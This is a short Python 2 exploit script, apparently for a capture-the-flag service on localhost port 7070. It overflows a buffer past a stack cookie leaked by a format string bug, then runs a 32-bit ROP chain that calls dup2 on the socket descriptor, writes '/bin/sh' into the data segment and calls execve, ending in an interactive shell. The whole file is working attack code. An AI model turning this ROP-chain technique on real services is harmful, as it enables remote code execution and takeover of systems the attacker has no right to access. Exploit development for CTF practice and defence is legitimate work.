import sys
sys.path.append("/home/blankwall/Template")

from isis import *
pattern = file("/home/blankwall/Template/pattern").read()
debug = True
host = "localhost"
port = 7070

def connect():
	s = get_socket((host,port))
	s.settimeout(0x10000000)
	return s

s = connect()
if debug:
	raw_input("?")

cookie = 0x4da0a000 #format string leak 

recv_all(s)

payload = "A" * 256 
payload += lei(cookie)
payload += "A"* 12
payload += lei(0x08049873) #xor ecx plus 4 pops
payload += lei(0x4) #FD
payload += "A" * 12
payload += lei(0x0805916c) #pop eax
payload += lei(63) #syscall dup2
#payload += lei(0x080c7a5c) * 4 #inc ecx 
payload += lei(0x0806d81c) #int 80
payload += lei(0xdeadbeef) #filler

payload += lei(0x08049873) #xor ecx plus 4 pops
payload += lei(0x4) #FD
payload += "A" * 12
payload += lei(0x0805916c) #pop eax
payload += lei(63) #syscall dup2
payload += lei(0x080c7a5c) * 1 #inc ecx 
payload += lei(0x0806d81c) #int 80
payload += lei(0xdeadbeef)


payload += lei(0x080d1524) #pop ebx
payload += lei(0x080d51a0) #data segment

payload += lei(0x0805916c) #pop eax
payload += "/bin"
payload += lei(0x08054c7e) #mov [ebx], eax
payload += "A" * 0x18
payload += lei(0x080d51a4) #data + 4
payload += lei(0x0805916c) #pop eax
payload += "/sh\x00"
payload += lei(0x08054c7e) #mov [ebx], eax

payload += "A" * 0x1c #filler

payload += lei(0x08049873) #xor ecx plus 4 pops
payload += lei(0x080d51a0) #setting ebx
payload += "A" * 12
payload += lei(0x0805916c) #pop eax
payload += lei(11) #system call execve

payload += lei(0x0806d81c) #int 80


s.send(payload)
telnet_shell(s)
